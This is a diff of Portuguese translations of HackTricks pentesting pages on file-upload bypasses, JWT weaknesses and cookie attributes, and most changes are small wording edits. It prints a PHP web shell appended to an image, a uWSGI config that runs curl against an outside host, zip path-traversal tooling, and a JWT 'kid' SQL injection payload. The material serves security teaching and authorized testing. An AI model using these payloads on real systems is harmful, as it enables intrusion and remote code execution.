 8. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso é deixado. AAA<--SNIP-->AAA.php
 
 ```
@@ -88,9 +88,9 @@ AAA<--SNIP 232 A-->AAA.php.png
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
 * Se **compressões estão sendo adicionadas à sua imagem**, por exemplo, usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar a **técnica do chunk PLTE** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
 * [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
-* A página da web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar a **técnica do chunk IDAT** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
+* A página da web também pode estar **redimensionando** a **imagem**, usando, por exemplo, as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar a **técnica do chunk IDAT** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
 * [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
-* Outra técnica para fazer um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar a **técnica do chunk tEXt** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
+* Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar a **técnica do chunk tEXt** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
 * [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
 
 ### Other Tricks to check
@@ -113,7 +113,7 @@ Se você está tentando fazer upload de arquivos para um **servidor ASP**, [dê
 
 Os arquivos `.phar` são como os `.jar` para java, mas para php, e podem ser **usados como um arquivo php** (executando-o com php, ou incluindo-o dentro de um script...)
 
-A extensão `.inc` é às vezes usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum momento, alguém poderia ter permitido **que essa extensão fosse executada**.
+A extensão `.inc` é às vezes usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum momento, alguém pode ter permitido que **essa extensão fosse executada**.
 
 ## **Jetty RCE**
 
@@ -125,7 +125,7 @@ Se você pode fazer upload de um arquivo XML em um servidor Jetty, você pode ob
 
 Para uma exploração detalhada dessa vulnerabilidade, confira a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
-Vulnerabilidades de Execução Remota de Comando (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", marcadores de posição e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para fins nefastos, como Execução Remota de Comando ou Escrita/Leitura Arbitrária de Arquivo quando um arquivo de configuração `.ini` é processado.
+Vulnerabilidades de Execução Remota de Comando (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", marcadores de posição e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para fins nefastos, como Execução Remota de Comando ou Escrita/Leitura de Arquivo Arbitrário quando um arquivo de configuração `.ini` é processado.
 
 Considere o seguinte exemplo de um arquivo `uwsgi.ini` prejudicial, mostrando vários esquemas:
 ```ini
@@ -145,7 +145,7 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 ; call a function returning a char *
 characters = @(call://uwsgi_func)
 ```
-A execução do payload ocorre durante a análise do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após uma falha ou devido a um ataque de negação de serviço) ou o arquivo deve ser configurado para recarregar automaticamente. O recurso de recarga automática, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações.
+A execução do payload ocorre durante a análise do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após uma falha ou devido a um ataque de negação de serviço) ou o arquivo deve ser configurado para recarregar automaticamente. O recurso de recarregamento automático, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações.
 
 É crucial entender a natureza flexível da análise do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo da exploração potencial.
 
@@ -175,7 +175,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
 
 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 ```
-Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **servidor HTTP redirecionar para um arquivo diferente**, assim a URL inicial contornará a verificação e então o wget baixará o arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **wget baixará a página redirecionada com o nome do arquivo indicado na URL original**.
+Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **servidor HTTP redirecionar para um arquivo diferente**, assim a URL inicial contornará a verificação e então o wget fará o download do arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names`, porque **o wget fará o download da página redirecionada com o nome do arquivo indicado na URL original**.
 
 ## Ferramentas
 
@@ -195,7 +195,7 @@ Note que **outra opção** que você pode estar pensando para contornar essa ver
 * [Famosa vulnerabilidade **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
 * Se você puder **indicar ao servidor web para capturar uma imagem de uma URL**, você pode tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/). Se essa **imagem** for **salva** em algum site **público**, você também pode indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de cada visitante**.
 * [**XXE e CORS** contornados com upload de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
-* PDFs especialmente elaborados para XSS: A [seguinte página apresenta como **injetar dados PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, poderá preparar um PDF que executará JS arbitrário seguindo as indicações dadas.
+* PDFs especialmente elaborados para XSS: A [seguinte página apresenta como **injetar dados PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, poderá preparar alguns PDFs que executarão JS arbitrário seguindo as indicações dadas.
 * Faça upload do conteúdo \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivírus**
 * Verifique se há algum **limite de tamanho** ao fazer upload de arquivos
 
@@ -216,7 +216,7 @@ Aqui está uma lista das 10 principais coisas que você pode conseguir ao fazer
 
 {% embed url="https://github.com/portswigger/upload-scanner" %}
 
-## Bytes de Cabeçalho Mágicos
+## Bytes Mágicos de Cabeçalho
 
 * **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
 * **JPG**: `"\xff\xd8\xff"`
@@ -239,7 +239,7 @@ tar -cvf test.tar symindex.txt
 
 A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia proteger contra a execução de comandos em nível de SO por meio de uploads de arquivos maliciosos, o suporte à compressão hierárquica e as capacidades de travessia de diretórios do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem de diretórios de upload seguros manipulando a funcionalidade de descompressão da aplicação alvo.
 
-Um exploit automatizado para criar tais arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). A utilidade pode ser usada conforme mostrado:
+Um exploit automatizado para criar tais arquivos está disponível em [**evilarc no GitHub**](https://github.com/ptoomey3/evilarc). A utilidade pode ser usada conforme mostrado:
 ```python
 # Listing available options
 python2 evilarc.py -h
@@ -312,7 +312,7 @@ Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shel
 
 ## Polyglot Files
 
-Arquivos poliglotas servem como uma ferramenta única em cibersegurança, atuando como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como um GIF quanto como um arquivo RAR. Esses arquivos não estão limitados a essa combinação; combinações como GIF e JS ou PPT e JS também são viáveis.
+Arquivos poliglotas servem como uma ferramenta única em cibersegurança, agindo como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como um GIF quanto como um arquivo RAR. Esses arquivos não estão limitados a essa combinação; combinações como GIF e JS ou PPT e JS também são viáveis.
 
 A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivos para upload—como JPEG, GIF ou DOC—para mitigar o risco apresentado por formatos potencialmente prejudiciais (por exemplo, JS, PHP ou arquivos Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivos, pode contornar furtivamente essas restrições.
 
@@ -329,15 +329,15 @@ Mais informações em: [https://medium.com/swlh/polyglot-files-a-hackers-best-fr
 * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

pentesting-web/hacking-jwt-json-web-tokens.md

@@ -1,8 +1,8 @@
 # Vulnerabilidades JWT (Json Web Tokens)
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,7 +15,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
 </details>
 {% endhint %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
@@ -40,7 +40,7 @@ Então, você pode procurar a solicitação em seu proxy ou despejar o JWT usado
 ```bash
 python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
 ```
-Você também pode usar a [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-saboteur) para lançar ataques JWT a partir do Burp.
+Você também pode usar a [**Extensão Burp SignSaboteur**](https://github.com/d0ge/sign-saboteur) para lançar ataques JWT a partir do Burp.
 
 ### Manipular dados sem modificar nada
 
@@ -52,7 +52,7 @@ Para verificar se a assinatura de um JWT está sendo verificada:
 
 * Uma mensagem de erro sugere verificação em andamento; detalhes sensíveis em erros verbosos devem ser revisados.
 * Uma mudança na página retornada também indica verificação.
-* Nenhuma mudança sugere nenhuma verificação; é quando se deve experimentar com a manipulação das reivindicações do payload.
+* Nenhuma mudança sugere nenhuma verificação; é quando você deve experimentar manipular as reivindicações do payload.
 
 ### Origem
 
@@ -103,7 +103,7 @@ As instruções detalham um método para avaliar a segurança dos tokens JWT, pa
 * Modifique o valor "jku" do token para direcionar a um serviço web controlado, permitindo a observação do tráfego.
 * **Monitoramento de Interação HTTP**:
 * Observar solicitações HTTP para sua URL especificada indica as tentativas do servidor de buscar chaves do link fornecido.
-* Ao empregar `jwt_tool` para esse processo, é crucial atualizar o arquivo `jwtconf.ini` com sua localização pessoal do JWKS para facilitar os testes.
+* Ao empregar `jwt_tool` para esse processo, é crucial atualizar o arquivo `jwtconf.ini` com sua localização pessoal de JWKS para facilitar os testes.
 * **Comando para `jwt_tool`**:
 *   Execute o seguinte comando para simular o cenário com `jwt_tool`:
 
@@ -113,7 +113,7 @@ python3 jwt_tool.py JWT_HERE -X s
 
 ### Visão Geral de Problemas com Kid
 
-Uma reivindicação de cabeçalho opcional conhecida como `kid` é utilizada para identificar uma chave específica, que se torna particularmente vital em ambientes onde múltiplas chaves existem para a verificação da assinatura do token. Essa reivindicação ajuda na seleção da chave apropriada para verificar a assinatura de um token.
+Uma reivindicação de cabeçalho opcional conhecida como `kid` é utilizada para identificar uma chave específica, que se torna particularmente vital em ambientes onde múltiplas chaves existem para verificação de assinatura de token. Essa reivindicação ajuda na seleção da chave apropriada para verificar a assinatura de um token.
 
 #### Revelando Chave através de "kid"
 
@@ -121,7 +121,7 @@ Quando a reivindicação `kid` está presente no cabeçalho, é aconselhável pr
 
 #### Traversal de Caminho com "kid"
 
-A reivindicação `kid` também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É viável testar a conectividade ou executar ataques de Server-Side Request Forgery (SSRF) alterando o valor `kid` para direcionar arquivos ou serviços específicos. Manipular o JWT para mudar o valor `kid` enquanto mantém a assinatura original pode ser alcançado usando a flag `-T` no jwt\_tool, como demonstrado abaixo:
+A reivindicação `kid` também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É viável testar a conectividade ou executar ataques de Server-Side Request Forgery (SSRF) alterando o valor de `kid` para direcionar arquivos ou serviços específicos. Manipular o JWT para mudar o valor de `kid` enquanto mantém a assinatura original pode ser alcançado usando a flag `-T` no jwt\_tool, como demonstrado abaixo:
 ```bash
 python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
 ```
@@ -129,7 +129,7 @@ Ao direcionar arquivos com conteúdo previsível, é possível forjar um JWT vá
 
 #### SQL Injection via "kid"
 
-Se o conteúdo da reivindicação `kid` for empregado para buscar uma senha em um banco de dados, uma injeção SQL pode ser facilitada ao modificar o payload `kid`. Um exemplo de payload que utiliza injeção SQL para alterar o processo de assinatura do JWT inclui:
+Se o conteúdo da reivindicação `kid` for utilizado para buscar uma senha em um banco de dados, uma injeção SQL pode ser facilitada ao modificar o payload `kid`. Um exemplo de payload que utiliza injeção SQL para alterar o processo de assinatura do JWT inclui:
 
 `non-existent-index' UNION SELECT 'ATTACKER';-- -`
 
@@ -146,7 +146,7 @@ Um cenário onde o parâmetro `kid` especifica um caminho de arquivo usado dentr
 #### jku
 
 jku significa **JWK Set URL**.\
-Se o token usar uma reivindicação de **Header** “**jku**”, então **verifique a URL fornecida**. Isso deve apontar para uma URL contendo o arquivo JWKS que possui a Chave Pública para verificar o token. Modifique o token para apontar o valor jku para um serviço web que você possa monitorar o tráfego.
+Se o token usar uma reivindicação de cabeçalho “**jku**”, então **verifique a URL fornecida**. Isso deve apontar para uma URL contendo o arquivo JWKS que possui a Chave Pública para verificar o token. Modifique o token para apontar o valor jku para um serviço web que você possa monitorar o tráfego.
 
 Primeiro, você precisa criar um novo certificado com novas chaves privadas e públicas.
 ```bash
@@ -176,7 +176,7 @@ Para forjar um novo token usando um certificado controlado por você, você prec
 openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
 openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
 ```
-Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro x5u para o certificado .crt criado.**
+Então você pode usar por exemplo [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro x5u para o certificado .crt criado.**
 
 ![](<../.gitbook/assets/image (956).png>)
 
@@ -248,11 +248,11 @@ No entanto, imagine uma situação em que o comprimento máximo do ID é 4 (0001
 
 Foi observado que algumas aplicações web dependem de um serviço JWT confiável para a geração e gerenciamento de seus tokens. Foram registrados casos em que um token, gerado para um cliente pelo serviço JWT, foi aceito por outro cliente do mesmo serviço JWT. Se a emissão ou renovação de um JWT via um serviço de terceiros for observada, a possibilidade de se inscrever em uma conta em outro cliente desse serviço usando o mesmo nome de usuário/e-mail deve ser investigada. Em seguida, deve-se tentar reproduzir o token obtido em uma requisição para o alvo para ver se é aceito.
 
-* Um problema crítico pode ser indicado pela aceitação do seu token, potencialmente permitindo a falsificação da conta de qualquer usuário. No entanto, deve-se notar que a permissão para testes mais amplos pode ser necessária se inscrevendo em uma aplicação de terceiros, pois isso pode entrar em uma área cinza legal.
+* Um problema crítico pode ser indicado pela aceitação do seu token, potencialmente permitindo a falsificação da conta de qualquer usuário. No entanto, deve-se notar que a permissão para testes mais amplos pode ser necessária se inscrevendo em uma aplicação de terceiros, pois isso pode entrar em uma área cinzenta legal.
 
 **Verificação de Expiração de Tokens**
 
-A expiração do token é verificada usando a reivindicação "exp" do Payload. Dado que os JWTs são frequentemente empregados sem informações de sessão, um manuseio cuidadoso é necessário. Em muitas instâncias, capturar e reproduzir o JWT de outro usuário poderia permitir a impersonificação desse usuário. O RFC do JWT recomenda mitigar ataques de repetição de JWT utilizando a reivindicação "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir uma reivindicação "exp" e os limites de tempo de teste permitirem, é aconselhável armazenar o token e reproduzi-lo após o tempo de expiração ter passado. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da jwt_tool.
+A expiração do token é verificada usando a reivindicação "exp" do Payload. Dado que os JWTs são frequentemente empregados sem informações de sessão, um manuseio cuidadoso é necessário. Em muitos casos, capturar e reproduzir o JWT de outro usuário pode permitir a impersonificação desse usuário. O RFC do JWT recomenda mitigar ataques de repetição de JWT utilizando a reivindicação "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir uma reivindicação "exp" e os limites de tempo de teste permitirem, é aconselhável armazenar o token e reproduzi-lo após o tempo de expiração ter passado. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da jwt_tool.
 
 * Um risco de segurança pode estar presente se a aplicação ainda validar o token, pois isso pode implicar que o token nunca poderia expirar.
 
@@ -260,15 +260,15 @@ A expiração do token é verificada usando a reivindicação "exp" do Payload.
 
 {% embed url="https://github.com/ticarpi/jwt_tool" %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

pentesting-web/hacking-with-cookies/README.md

@@ -1,22 +1,21 @@
 # Cookies Hacking
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
-* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
-* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-
-## Atributos de Cookies
+## Cookie Attributes
 
 Os cookies vêm com vários atributos que controlam seu comportamento no navegador do usuário. Aqui está um resumo desses atributos em uma voz mais passiva:
 
@@ -26,13 +25,13 @@ A data de expiração de um cookie é determinada pelo atributo `Expires`. Por o
 
 ### Domain
 
-Os hosts que recebem um cookie são especificados pelo atributo `Domain`. Por padrão, isso é definido para o host que emitiu o cookie, não incluindo seus subdomínios. No entanto, quando o atributo `Domain` é explicitamente definido, ele abrange subdomínios também. Isso torna a especificação do atributo `Domain` uma opção menos restritiva, útil para cenários onde o compartilhamento de cookies entre subdomínios é necessário. Por exemplo, definir `Domain=mozilla.org` torna os cookies acessíveis em seus subdomínios como `developer.mozilla.org`.
+Os hosts que receberão um cookie são especificados pelo atributo `Domain`. Por padrão, isso é definido para o host que emitiu o cookie, não incluindo seus subdomínios. No entanto, quando o atributo `Domain` é explicitamente definido, ele abrange subdomínios também. Isso torna a especificação do atributo `Domain` uma opção menos restritiva, útil para cenários onde o compartilhamento de cookies entre subdomínios é necessário. Por exemplo, definir `Domain=mozilla.org` torna os cookies acessíveis em seus subdomínios, como `developer.mozilla.org`.
 
 ### Path
 
 Um caminho de URL específico que deve estar presente na URL solicitada para que o cabeçalho `Cookie` seja enviado é indicado pelo atributo `Path`. Este atributo considera o caractere `/` como um separador de diretório, permitindo correspondências em subdiretórios também.
 
-### Regras de Ordenação
+### Ordering Rules
 
 Quando dois cookies têm o mesmo nome, o escolhido para envio é baseado em:
 
@@ -48,15 +47,15 @@ Quando dois cookies têm o mesmo nome, o escolhido para envio é baseado em:
 
 Lembre-se, ao configurar cookies, entender esses atributos pode ajudar a garantir que eles se comportem como esperado em diferentes cenários.
 
-| **Tipo de Solicitação** | **Código de Exemplo**                   | **Cookies Enviados Quando** |
-| ----------------------- | --------------------------------------- | ---------------------------- |
-| Link                    | \<a href="...">\</a>                   | NotSet\*, Lax, None          |
-| Prerender               | \<link rel="prerender" href=".."/>     | NotSet\*, Lax, None          |
-| Formulário GET          | \<form method="GET" action="...">      | NotSet\*, Lax, None          |
-| Formulário POST         | \<form method="POST" action="...">     | NotSet\*, None               |
-| iframe                  | \<iframe src="...">\</iframe>           | NotSet\*, None               |
-| AJAX                    | $.get("...")                            | NotSet\*, None               |
-| Imagem                  | \<img src="...">                        | NetSet\*, None               |
+| **Request Type** | **Example Code**                   | **Cookies Sent When** |
+| ---------------- | ---------------------------------- | --------------------- |
+| Link             | \<a href="...">\</a>               | NotSet\*, Lax, None   |
+| Prerender        | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None   |
+| Form GET         | \<form method="GET" action="...">  | NotSet\*, Lax, None   |
+| Form POST        | \<form method="POST" action="..."> | NotSet\*, None        |
+| iframe           | \<iframe src="...">\</iframe>      | NotSet\*, None        |
+| AJAX             | $.get("...")                       | NotSet\*, None        |
+| Image            | \<img src="...">                   | NetSet\*, None        |
 
 Tabela de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) e ligeiramente modificada.\
 Um cookie com o atributo _**SameSite**_ **mitigará ataques CSRF** onde uma sessão logada é necessária.
@@ -64,7 +63,7 @@ Um cookie com o atributo _**SameSite**_ **mitigará ataques CSRF** onde uma sess
 **\*Observe que a partir do Chrome80 (fev/2019) o comportamento padrão de um cookie sem um atributo SameSite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
 Observe que temporariamente, após aplicar essa mudança, os **cookies sem uma política SameSite** **no Chrome serão** **tratados como None** durante os **primeiros 2 minutos e depois como Lax para solicitações POST de nível superior entre sites.**
 
-## Flags de Cookies
+## Cookies Flags
 
 ### HttpOnly
 
